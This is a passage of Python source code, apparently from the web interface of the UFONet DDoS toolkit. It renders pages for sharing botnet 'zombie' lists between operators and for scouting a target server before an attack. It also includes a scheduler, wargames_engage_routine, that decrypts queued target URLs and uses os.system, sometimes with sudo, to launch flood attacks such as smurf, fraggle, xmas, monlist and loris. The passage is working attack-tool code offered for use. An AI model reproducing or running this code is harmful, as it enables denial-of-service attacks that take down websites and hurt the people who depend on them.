  2110. params="globalnet_source2="+escape(globalnet_source2)+"&globalnet_enckey="+escape(globalnet_enckey)+"&globalnet_owner="+escape(globalnet_owner)+"&globalnet_comment="+escape(globalnet_comment)+"&globalnet_warp="+escape(globalnet_warp)
  2111. runCommandX("cmd_transfer_globalnet",params)
  2112. setTimeout("location.reload()", 10000)
  2113. }
  2114. }
  2115. }
  2116. </script>
  2117. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2118. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2119. <br>
  2120. <center>
  2121. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  2122. <td><a href="javascript:alert('Senator M.BIRDY says: Welcome ..., """ + self.ranking + """,... These are other visible motherships detected by our technology that are currently working for the Federation... You can contribute by uploading your location... Remember, to be a strong network always depends on you!');"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td>
  2123. <td>RADAR device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit visible blackhole.Warps..." onclick="Warps()">VISIT WARPS!</button></td></tr></table>
  2124. <hr><br>
  2125. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='globalnet_source' id='globalnet_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'locations' proposed by other motherships..." onclick="SyncGlobalnet()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="globalnet_deckey" id="globalnet_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_globalnet();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr>
  2126. <td>Owner (your nick):</td><td><input type="text" maxlength="12" pattern=".{3,12}" title="3 to 12 characters" name="globalnet_owner" id="globalnet_owner" size="12" placeholder="Anonymous"></td></tr><tr><td>Ship Description (short comment):</td><td><input type="text" maxlength="90" name="globalnet_comment" id="globalnet_comment" size="90" placeholder="Uplink open from 00:00-GMT3 until 02:00-GMT3"></td></tr><tr><td>WARPING:</td><td> <select id="globalnet_warp">
  2127. <option value="OFF" selected>OFF - Blackhole technology is -OFF-</option>
  2128. <option value="ON1">ON1 - Blackhole technology is -ON- (download only)</option>
  2129. <option value="ON2">ON2 - Blachhole technology is -ON- (upload/download)</option>
  2130. </select></td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='globalnet_source2' id='globalnet_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="globalnet_enckey" id="globalnet_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your location to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SUBMIT!</button></pre></td></tr></table><br><br><hr><br><u>GLOBAL.NET</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+globalnet_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  2131. def html_abduction(self):
  2132. return self.pages["/header"] + """<script language="javascript">
  2133. function Requests() {
  2134. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2135. }
  2136. function Start(){
  2137. target=document.getElementById("target").value
  2138. String.prototype.startsWith = function(prefix){
  2139. return this.indexOf(prefix) === 0;
  2140. }
  2141. if(target.startsWith("http")){
  2142. params="target="+escape(target)
  2143. }else{
  2144. window.alert("Target url not valid! -> It should starts with 'http(s)://'");
  2145. return
  2146. }
  2147. runCommandX("cmd_abduction",params)
  2148. }
  2149. </script></head>
  2150. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2151. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2152. <br>
  2153. <center>
  2154. <table cellpadding="38" cellspacing="38">
  2155. <tr>
  2156. <td>
  2157. </td>
  2158. <td>
  2159. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2160. <tr>
  2161. <td>
  2162. <pre>
  2163. This feature will provide you information about target's web server.
  2164. You can use this before to attack to be more effective.
  2165. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  2166. <hr>
  2167. Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  2168. <hr>
  2169. <button title="Start to research about your target's webserver configuration..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">RESEARCH!</button>
  2170. </pre>
  2171. </td></tr></table>
  2172. <br><br><hr><br>
  2173. <div id="cmdOut"></div><center>""" + self.pages["/footer"]
  2174. def html_blackholes(self):
  2175. return self.pages["/header"] + """<script language="javascript">
  2176. function Decrypt(){
  2177. blackhole_key=document.getElementById("blackhole_key").value
  2178. if(blackhole_key == "") {
  2179. window.alert("You need to enter a valid key (provided by someone)");
  2180. return
  2181. }else{
  2182. params="blackhole_key="+escape(blackhole_key)
  2183. runCommandX("cmd_decrypt",params)
  2184. document.getElementById("nb1").style.display = "none";
  2185. }
  2186. }
  2187. </script>
  2188. <script language="javascript">
  2189. function RefreshBlackhole(){
  2190. blackholes_source=document.getElementById("blackholes_source").value
  2191. if(blackholes_source == "") {
  2192. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2193. return
  2194. }else{
  2195. params="blackholes_source="+escape(blackholes_source)
  2196. runCommandX("cmd_refresh_blackholes",params)
  2197. document.getElementById("nb1").style.display = "none";
  2198. setTimeout("location.reload()", 10000)
  2199. }
  2200. }
  2201. </script>
  2202. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2203. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2204. <br>
  2205. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  2206. <td>Blackhole/IP:</td>
  2207. <td><input type="text" name="blackholes_source" id="blackholes_source" size="20" value='"""+default_blackhole+"""'></td>
  2208. </tr></table></td><td><button title="Refreshing blackhole..." onClick="RefreshBlackhole()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Open Warp!</button></td></tr></table>
  2209. <hr>
  2210. <table cellpadding="5" cellspacing="5"><tr>
  2211. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed (P2P) way...');"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td><td>
  2212. <table cellpading="5" cellspacing="10"><tr><td>
  2213. <form method='GET'>
  2214. Your key: <input type="text" name="blackhole_key" id="blackhole_key" size="20" value='"""+self.crypto_key+"""'>
  2215. </td></tr><tr><td>
  2216. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  2217. </form>
  2218. </td></tr></table></td></tr></table>
  2219. <hr><br>
  2220. </center>
  2221. Last update: <font color='"""+ self.blackholes_status_color + """'>"""+ self.blackholes_datetime + """</font><br><br>
  2222. <div id="cmdOut"></div>
  2223. <div id="nb1" style="display: block;">"""+self.blackholes_text+"""</div>
  2224. """ + self.pages["/footer"]
  2225. def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply)
  2226. sep = wargames_msg_sep
  2227. flag_ufosyn = None
  2228. flag_spray = None
  2229. flag_smurf = None
  2230. flag_xmas = None
  2231. flag_nuke = None
  2232. flag_tachyon = None
  2233. flag_monlist = None
  2234. flag_fraggle = None
  2235. flag_sniper = None
  2236. flag_ufoack = None
  2237. flag_uforst = None
  2238. flag_droper = None
  2239. flag_overlap = None
  2240. flag_pinger = None
  2241. flag_ufoudp = None
  2242. for job in wargames_engage_list:
  2243. job_t2 = job.rsplit(sep, 1)[0]
  2244. job_creation = job_t2.rsplit(sep, 1)[0]
  2245. job_target = job_t2.rsplit(sep, 1)[1]
  2246. job_estimated = job.rsplit(sep, 1)[1]
  2247. self.decrypt(self.crypto_key, job_estimated)
  2248. if self.decryptedtext:
  2249. job_estimated_dec = self.decryptedtext
  2250. else:
  2251. job_estimated_dec = ""
  2252. self.decryptedtext = ""
  2253. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  2254. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  2255. try:
  2256. job_estimated_dec = strptime(job_estimated_dec.decode('utf-8'), "%d-%m-%Y %H:%M:%S")
  2257. except:
  2258. job_estimated_dec = strptime(job_estimated_dec, "%d-%m-%Y %H:%M:%S")
  2259. if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<')
  2260. self.decrypt(self.crypto_key, job_target)
  2261. if self.decryptedtext:
  2262. job_target_dec = self.decryptedtext
  2263. else:
  2264. job_target_dec = ""
  2265. self.decryptedtext = ""
  2266. if job_target_dec != "":
  2267. job_target_dec = "http://" + job_target_dec # set target prefix to http://
  2268. try: # read global army supply (json)
  2269. with open(self.mothership_supplycfg_file) as data_file:
  2270. data = json.load(data_file)
  2271. except:
  2272. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  2273. with open(self.mothership_supplycfg_file, "w") as f:
  2274. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0, "fraggle": 0, "sniper": 0, "ufoack": 0, "uforst": 0, "droper": 0, "overlap": 0, "pinger": 0, "ufoudp": 0}, f, indent=4)
  2275. with open(self.mothership_supplycfg_file) as data_file:
  2276. data = json.load(data_file)
  2277. self.supply_botnet = data["botnet"]
  2278. self.supply_loic = data["loic"]
  2279. self.supply_loris = data["loris"]
  2280. self.supply_ufosyn = data["ufosyn"]
  2281. self.supply_spray = data["spray"]
  2282. self.supply_smurf = data["smurf"]
  2283. self.supply_xmas = data["xmas"]
  2284. self.supply_nuke = data["nuke"]
  2285. self.supply_tachyon = data["tachyon"]
  2286. self.supply_monlist = data["monlist"]
  2287. self.supply_fraggle = data["fraggle"]
  2288. self.supply_sniper = data["sniper"]
  2289. self.supply_ufoack = data["ufoack"]
  2290. self.supply_uforst = data["uforst"]
  2291. self.supply_droper = data["droper"]
  2292. self.supply_overlap = data["overlap"]
  2293. self.supply_pinger = data["pinger"]
  2294. self.supply_ufoudp = data["ufoudp"]
  2295. job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec)
  2296. print("[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec))
  2297. cmd = ""
  2298. nonroot_cmd = python_version + " -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  2299. root_cmd = "sudo "+ python_version+" -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  2300. if int(self.supply_fraggle) > 0:
  2301. cmd += "--fraggle " +str(self.supply_fraggle)+ " "
  2302. flag_fraggle = True
  2303. if int(self.supply_sniper) > 0:
  2304. cmd += "--sniper " +str(self.supply_sniper)+ " "
  2305. flag_sniper = True
  2306. if int(self.supply_ufoack) > 0:
  2307. cmd += "--ufoack " +str(self.supply_ufoack)+ " "
  2308. flag_ufoack = True
  2309. if int(self.supply_uforst) > 0:
  2310. cmd += "--uforst " +str(self.supply_uforst)+ " "
  2311. flag_uforst = True
  2312. if int(self.supply_droper) > 0:
  2313. cmd += "--droper " +str(self.supply_droper)+ " "
  2314. flag_droper = True
  2315. if int(self.supply_overlap) > 0:
  2316. cmd += "--overlap " +str(self.supply_overlap)+ " "
  2317. flag_overlap = True
  2318. if int(self.supply_pinger) > 0:
  2319. cmd += "--pinger " +str(self.supply_pinger)+ " "
  2320. flag_pinger = True
  2321. if int(self.supply_ufoudp) > 0:
  2322. cmd += "--ufoudp " +str(self.supply_ufoudp)+ " "
  2323. flag_ufoudp = True
  2324. if int(self.supply_monlist) > 0:
  2325. cmd += "--monlist " +str(self.supply_monlist)+ " "
  2326. flag_monlist = True
  2327. if int(self.supply_tachyon) > 0:
  2328. cmd += "--tachyon " +str(self.supply_tachyon)+ " "
  2329. flag_tachyon = True
  2330. if int(self.supply_nuke) > 0:
  2331. cmd += "--nuke " +str(self.supply_nuke)+ " "
  2332. flag_nuke = True
  2333. if int(self.supply_xmas) > 0:
  2334. cmd += "--xmas " +str(self.supply_xmas)+ " "
  2335. flag_xmas = True
  2336. if int(self.supply_smurf) > 0:
  2337. cmd += "--smurf " +str(self.supply_smurf)+ " "
  2338. flag_smurf = True
  2339. if int(self.supply_spray) > 0:
  2340. cmd += "--spray " +str(self.supply_spray)+ " "
  2341. flag_spray = True
  2342. if int(self.supply_ufosyn) > 0:
  2343. cmd += "--ufosyn " +str(self.supply_ufosyn)+ " "
  2344. flag_ufosyn = True
  2345. if int(self.supply_loris) > 0:
  2346. cmd += "--loris " +str(self.supply_loris)+ " "
  2347. if int(self.supply_loic) > 0:
  2348. cmd += "--loic " +str(self.supply_loic)+ " "
  2349. if not flag_fraggle and not flag_sniper and not flag_ufoack and not flag_uforst and not flag_droper and not flag_overlap and not flag_pinger and not flag_ufoudp and not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  2350. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  2351. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True or flag_fraggle == True or flag_sniper == True or flag_ufoack == True or flag_uforst == True or flag_droper == True or flag_overlap == True or flag_pinger == True or flag_ufoudp == True:
  2352. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST, FRAGGLE, SNIPER, UFOACK, UFORST, DROPER, OVERLAP, PINGER, UFOUDP)
  2353. runcmd = cmd + " "
  2354. runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!)
  2355. print("[Info] [Wargames] Running command:", runcmd, "\n")
  2356. os.system(runcmd) # launch it!
  2357. if "!!!" in job: # remove it from queue (unjob)
  2358. f = open(self.wargames_file, "r")
  2359. ls = f.readlines()
  2360. f.close()
  2361. f = open(self.wargames_file, "w")
  2362. for l in ls:
  2363. if str(l) != str(job):
  2364. f.write(l)
  2365. else:
  2366. job = re.sub('[!!!]', '', job)
  2367. f.write(job)
  2368. f.close()
  2369. def extract_ranking_table(self):
  2370. f = open(self.grid_file,"r") # ranking data extracted from grid.txt
  2371. ls = f.readlines()
  2372. f.close()
  2373. if not ls: # not data on grid.txt
  2374. return
  2375. ranking_items={}
  2376. ranking_key = crypto_key
  2377. nodec_text = "Anonymous"
  2378. nodec_num = 0
  2379. self.ranking_grid_total = 0
  2380. try:
  2381. for j in ls:
  2382. if grid_msg_sep in j:
  2383. self.ranking_grid_total = self.ranking_grid_total + 1
  2384. m = j.split(grid_msg_sep)
  2385. ranking_nickname = m[0] # nickname
  2386. self.decrypt(ranking_key, ranking_nickname)
  2387. if self.decryptedtext:
  2388. ranking_nickname = str(self.decryptedtext)
  2389. else:
  2390. ranking_nickname = nodec_text
  2391. if ranking_nickname == "Anonymous":
  2392. ranking_nickname = ranking_nickname + str(self.ranking_grid_total*3) # add pseudo-rand as end to evade similars
  2393. self.decryptedtext = "" # clean decryptedtext buffer
  2394. ranking_ranking = m[1] # ranking
  2395. self.decrypt(ranking_key, ranking_ranking)
  2396. if self.decryptedtext:
  2397. try:
  2398. ranking_ranking = int(self.decryptedtext)
  2399. except:
  2400. ranking_ranking = nodec_num
  2401. else:
  2402. ranking_ranking = nodec_num
  2403. ranking_items[ranking_nickname] = ranking_ranking
  2404. except:
  2405. ranking_nickname = "Anonymous"
  2406. ranking_ranking = 0
  2407. ranking_items[ranking_nickname] = ranking_ranking
  2408. self.top_rookie = []
  2409. self.top_mercenary = []
  2410. self.top_bandit = []
  2411. self.top_ufommander = []
  2412. self.top_ufoleet = []
  2413. for k, v in ranking_items.items():
  2414. if v == 0: # not any data (or decryption allowed) on grid so discard
  2415. pass
  2416. if v == 1: # add this player as a rookie
  2417. self.ranking_grid_rookie = self.ranking_grid_rookie + 1
  2418. self.top_rookie.append(k)
  2419. elif v == 2: # add this player as a mercenary
  2420. self.ranking_grid_mercenary = self.ranking_grid_mercenary + 1
  2421. self.top_mercenary.append(k)
  2422. elif v == 3: # add this player as a bandit
  2423. self.ranking_grid_bandit = self.ranking_grid_bandit + 1
  2424. self.top_bandit.append(k)
  2425. elif v == 4: # add this player as a ufommander
  2426. self.ranking_grid_ufommander = self.ranking_grid_ufommander + 1
  2427. self.top_ufommander.append(k)
  2428. elif v == 5: # add this player as a ufoleet
  2429. self.ranking_grid_ufoleet = self.ranking_grid_ufoleet + 1
  2430. self.top_ufoleet.append(k)
  2431. else: # add this player as unknown
  2432. self.ranking_grid_unknown = self.ranking_grid_unknown + 1
  2433. top5 = sorted(ranking_items, key=ranking_items.get, reverse=True)[:5]
  2434. for p in top5: # extract best players
  2435. if self.ranking_top5_player1 == "Anonymous":
  2436. self.ranking_top5_player1 = p
  2437. elif self.ranking_top5_player2 == "Anonymous":
  2438. self.ranking_top5_player2 = p
  2439. elif self.ranking_top5_player3 == "Anonymous":
  2440. self.ranking_top5_player3 = p
  2441. elif self.ranking_top5_player4 == "Anonymous":
  2442. self.ranking_top5_player4 = p
  2443. elif self.ranking_top5_player5 == "Anonymous":
  2444. self.ranking_top5_player5 = p
  2445. if self.ranking == "Rookie":
  2446. shuffle(self.top_rookie) # shuffle for different results
  2447. top3 = self.top_rookie[:3]
  2448. elif self.ranking == "Mercenary":
  2449. shuffle(self.top_mercenary)
  2450. top3 = self.top_mercenary[:3]
  2451. elif self.ranking == "Bandit":
  2452. shuffle(self.top_bandit)
  2453. top3 = self.top_bandit[:3]
  2454. elif self.ranking == "UFOmmander!":
  2455. shuffle(self.top_ufommander)
  2456. top3 = self.top_ufommander[:3]
  2457. elif self.ranking == "UFOl33t!":
  2458. shuffle(self.top_ufoleet)
  2459. top3 = self.top_ufoleet[:3]
  2460. for p in top3: # extract similar player
  2461. if self.ranking_similar_player1 == "Anonymous":
  2462. self.ranking_similar_player1 = p
  2463. elif self.ranking_similar_player2 == "Anonymous":
  2464. self.ranking_similar_player2 = p
  2465. elif self.ranking_similar_player3 == "Anonymous":
  2466. self.ranking_similar_player3 = p
  2467. top1 = sorted(ranking_items, key=ranking_items.get, reverse=True)
  2468. shuffle(top1) # shuffle for different results
  2469. top1 = random.choice(top1).strip() # extract random player
  2470. self.ranking_top1_player1 = top1
  2471. def __init__(self):
  2472. self.crypto_key = crypto_key # set default symmetric crypto key
  2473. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  2474. self.board_file = 'data/board.txt' # set source path to retrieve board warning message
  2475. self.grid_file = 'data/grid.txt' # set source path to retrieve grid
  2476. self.board_warning = "" # set initial (str) board warning message
  2477. self.wargames_file = 'data/wargames.txt' # set source path to retrieve wargames
  2478. self.links_file = 'data/links.txt' # set source path to retrieve links
  2479. self.streams_file = 'data/streams.txt' # set source path to retrieve streams
  2480. self.games_file = 'data/games.txt' # set source path to retrieve games
  2481. self.globalnet_file = 'data/globalnet.txt' # set source path to retrieve Global.Net
  2482. self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
  2483. self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
  2484. self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
  2485. self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
  2486. self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
  2487. self.ntps_file = "botnet/ntp.txt" # set source path to retrieve 'ntps'
  2488. self.dnss_file = "botnet/dns.txt" # set source path to retrieve 'dns'
  2489. self.snmps_file = "botnet/snmp.txt" # set source path to retrieve 'snmps'
  2490. self.release_date_file = "docs/release.date" # set source path to retrieve release date
  2491. self.news = "data/news.txt" # set source path to retrieve server news
  2492. self.tv = "data/tv.txt" # set source path to retrieve server tv
  2493. self.missions = "data/missions.txt" # set source path to retrieve server missions
  2494. self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg
  2495. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  2496. self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg
  2497. self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg
  2498. self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg
  2499. self.mothership_model_file = 'core/txt/model.txt' # set source for mothership model
  2500. f = open(self.mothership_model_file) # extract mothership model
  2501. self.mothership_model = f.read()
  2502. f.close()
  2503. self.faq_file = 'docs/FAQ.html' # set source for FAQ
  2504. f = open(self.faq_file) # extract FAQ text
  2505. self.faq_text = f.read()
  2506. f.close()
  2507. self.author_file = 'docs/AUTHOR' # set source for AUTHOR
  2508. f = open(self.author_file) # extract AUTHOR text
  2509. self.author_text = f.read()
  2510. f.close()
  2511. self.ranking = "Rookie Star" # set starting rank
  2512. self.decryptedtext = "" # set buffer for decryption
  2513. self.encryptedtext = "" # set buffer for encryption
  2514. self.blackholes = "data/nodes.dat" # set source path to retrieve server blackholes (nodes.dat)
  2515. self.blackhole = default_blackhole # set default blackhole
  2516. self.blackholes_status = "Not connected!" # set default status for blackholes
  2517. self.blackholes_status_color = "red" # set default status color for blackholes
  2518. self.referer = 'http://127.0.0.1/'
  2519. self.mothershipname = "core/txt/shipname.txt"
  2520. self.ufonet_logo_img = open("core/images/ufonet-logo.txt").read()
  2521. self.favicon_img = open("core/images/favicon.txt").read()
  2522. self.mothership_img = open("core/images/mothership.txt").read()
  2523. self.commander_img = open("core/images/commander.txt").read()
  2524. self.board_img = open("core/images/board.txt").read()
  2525. self.aliens_img = open("core/images/aliens.txt").read()
  2526. self.alien1_img = open("core/images/aliens/alien1.txt").read()
  2527. self.alien2_img = open("core/images/aliens/alien2.txt").read()
  2528. self.alien3_img = open("core/images/aliens/alien3.txt").read()
  2529. self.alien4_img = open("core/images/aliens/alien4.txt").read()
  2530. self.alien5_img = open("core/images/aliens/alien5.txt").read()
  2531. self.alien6_img = open("core/images/aliens/alien6.txt").read()
  2532. self.alien7_img = open("core/images/aliens/alien7.txt").read()
  2533. self.alien8_img = open("core/images/aliens/alien8.txt").read()
  2534. self.alien9_img = open("core/images/aliens/alien9.txt").read()
  2535. self.alien10_img = open("core/images/aliens/alien10.txt").read()
  2536. self.alien11_img = open("core/images/aliens/alien11.txt").read()
  2537. self.alien12_img = open("core/images/aliens/alien12.txt").read()
  2538. self.alien13_img = open("core/images/aliens/alien13.txt").read()
  2539. self.ranking_grid_total = 0
  2540. self.ranking_grid_rookie = 0
  2541. self.ranking_grid_mercenary = 0
  2542. self.ranking_grid_bandit = 0
  2543. self.ranking_grid_ufommander = 0
  2544. self.ranking_grid_ufoleet = 0
  2545. self.ranking_grid_unknown = 0
  2546. self.ranking_top5_player1 = "Anonymous"
  2547. self.ranking_top5_player2 = "Anonymous"
  2548. self.ranking_top5_player3 = "Anonymous"
  2549. self.ranking_top5_player4 = "Anonymous"
  2550. self.ranking_top5_player5 = "Anonymous"
  2551. self.ranking_similar_player1 = "Anonymous"
  2552. self.ranking_similar_player2 = "Anonymous"
  2553. self.ranking_similar_player3 = "Anonymous"
  2554. self.ranking_top1_player1 = "Anonymous"
  2555. f = open(self.mothershipname) # extract ship name
  2556. self.mothership_id = f.read()
  2557. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  2558. f.close()
  2559. f = open(self.release_date_file) # extract release creation datetime
  2560. self.release_date = f.read()
  2561. # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1
  2562. self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
  2563. self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
  2564. self.trans_5C = self.trans_5C.encode("latin-1")
  2565. self.trans_36 = self.trans_36.encode("latin-1")
  2566. f.close()
  2567. f = open(self.blackholes) # double extract blackholes (nodes.dat)
  2568. self.blackholes_text = f.read()
  2569. f.close()
  2570. f = open(self.blackholes)
  2571. self.blackholes_block = f.readlines()
  2572. f.close()
  2573. self.list_blackholes = []
  2574. for b in self.blackholes_block:
  2575. self.list_blackholes.append(b)
  2576. self.blackholes_datetime = time.ctime(os.path.getctime('data/nodes.dat')) # extract nodes.dat datetime
  2577. if self.blackholes_datetime == self.release_date_file: # never connected to feeds
  2578. self.blackholes_status_color = "red" # set status color for blackholes to 'red'
  2579. else:
  2580. self.blackholes_status_color = "green" # set status color for blackholes to 'green'
  2581. f = open(self.news) # double extract news
  2582. self.news_text = f.read()
  2583. f.close()
  2584. f = open(self.news)
  2585. self.news_block = f.readlines()
  2586. f.close()
  2587. self.list_news = []
  2588. for n in self.news_block:
  2589. self.list_news.append(n)
  2590. self.news_datetime = time.ctime(os.path.getctime('data/news.txt')) # extract news.txt datetime
  2591. if self.news_datetime == self.release_date_file: # never connected to feeds
  2592. self.news_status_color = "red" # set status color for news to 'red'
  2593. else:
  2594. self.news_status_color = "green" # set status color for news to 'green'
  2595. f = open(self.tv) # double extract tv
  2596. self.tv_text = f.read()
  2597. f.close()
  2598. f = open(self.tv)
  2599. self.tv_block = f.readlines()
  2600. f.close()
  2601. self.list_tv = []
  2602. for n in self.tv_block:
  2603. self.list_tv.append(n)
  2604. self.tv_datetime = time.ctime(os.path.getctime('data/tv.txt')) # extract tv.txt datetime
  2605. if self.tv_datetime == self.release_date_file: # never connected to feeds
  2606. self.tv_status_color = "red" # set status color for tv to 'red'
  2607. else:
  2608. self.tv_status_color = "green" # set status color for tv to 'green'
  2609. f = open(self.board_file) # double extract board
  2610. self.moderator_text = f.read()
  2611. f.close()
  2612. f = open(self.board_file)
  2613. self.moderator_block = f.readlines()
  2614. f.close()
  2615. self.list_moderator = []
  2616. for n in self.moderator_block:
  2617. self.list_moderator.append(n)
  2618. f = open(self.grid_file) # double grid board
  2619. self.grid_text = f.read()
  2620. self.ranking_text = f.read() # ranking data is extracted from grid
  2621. f.close()
  2622. f = open(self.grid_file)
  2623. self.grid_block = f.readlines()
  2624. f.close()
  2625. self.list_grid = []
  2626. for n in self.grid_block:
  2627. self.list_grid.append(n)
  2628. self.ranking_datetime = time.ctime(os.path.getctime('data/grid.txt')) # extract grid.txt datetime for ranking calcs
  2629. if self.ranking_datetime == self.release_date_file: # never connected to feeds
  2630. self.ranking_status_color = "red" # set status color for ranking to 'red'
  2631. else:
  2632. self.ranking_status_color = "green" # set status color for ranking to 'green'
  2633. f = open(self.wargames_file) # double wargames board
  2634. self.wargames_text = f.read()
  2635. f.close()
  2636. f = open(self.wargames_file)
  2637. self.wargames_block = f.readlines()
  2638. f.close()
  2639. self.list_wargames = []
  2640. for n in self.wargames_block:
  2641. self.list_wargames.append(n)
  2642. f = open(self.links_file) # double links extraction
  2643. self.links_text = f.read()
  2644. f.close()
  2645. f = open(self.links_file)
  2646. self.links_block = f.readlines()
  2647. f.close()
  2648. self.list_links = []
  2649. for n in self.links_block:
  2650. self.list_links.append(n)
  2651. f = open(self.globalnet_file) # double globalnet extraction
  2652. self.globalnet_text = f.read()
  2653. f.close()
  2654. f = open(self.globalnet_file)
  2655. self.globalnet_block = f.readlines()
  2656. f.close()
  2657. self.list_globalnet = []
  2658. for n in self.globalnet_block:
  2659. self.list_globalnet.append(n)
  2660. f = open(self.streams_file) # double streams extraction
  2661. self.streams_text = f.read()
  2662. f.close()
  2663. f = open(self.streams_file)
  2664. self.streams_block = f.readlines()
  2665. f.close()
  2666. self.list_streams = []
  2667. for n in self.streams_block:
  2668. self.list_streams.append(n)
  2669. f = open(self.missions) # double extract missions
  2670. self.missions_text = f.read()
  2671. f.close()
  2672. f = open(self.missions)
  2673. self.missions_block = f.readlines()
  2674. f.close()
  2675. self.list_missions = []
  2676. for m in self.missions_block:
  2677. self.list_missions.append(m)
  2678. self.missions_datetime = time.ctime(os.path.getctime('data/missions.txt')) # extract missions.txt datetime
  2679. if self.missions_datetime == self.release_date_file: # never connected to feeds
  2680. self.missions_status_color = "red" # set status color for missions to 'red'
  2681. else:
  2682. self.missions_status_color = "green" # set status color for missions to 'green'
  2683. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  2684. data = json.load(stats_json_file)
  2685. stats_json_file.close()
  2686. self.abductor = Abductor(self) # call abductor for data size conversor
  2687. self.aflying = data["flying"]
  2688. self.ascanner = data["scanner"]
  2689. self.atransferred = data["transferred"]
  2690. self.amax_chargo = data["max_chargo"]
  2691. self.amissions = data["missions"]
  2692. self.acompleted = data["completed"]
  2693. self.aloic = data["loic"]
  2694. self.aloris = data["loris"]
  2695. self.aufosyn = data["ufosyn"]
  2696. self.aspray = data["spray"]
  2697. self.asmurf = data["smurf"]
  2698. self.axmas = data["xmas"]
  2699. self.anuke = data["nuke"]
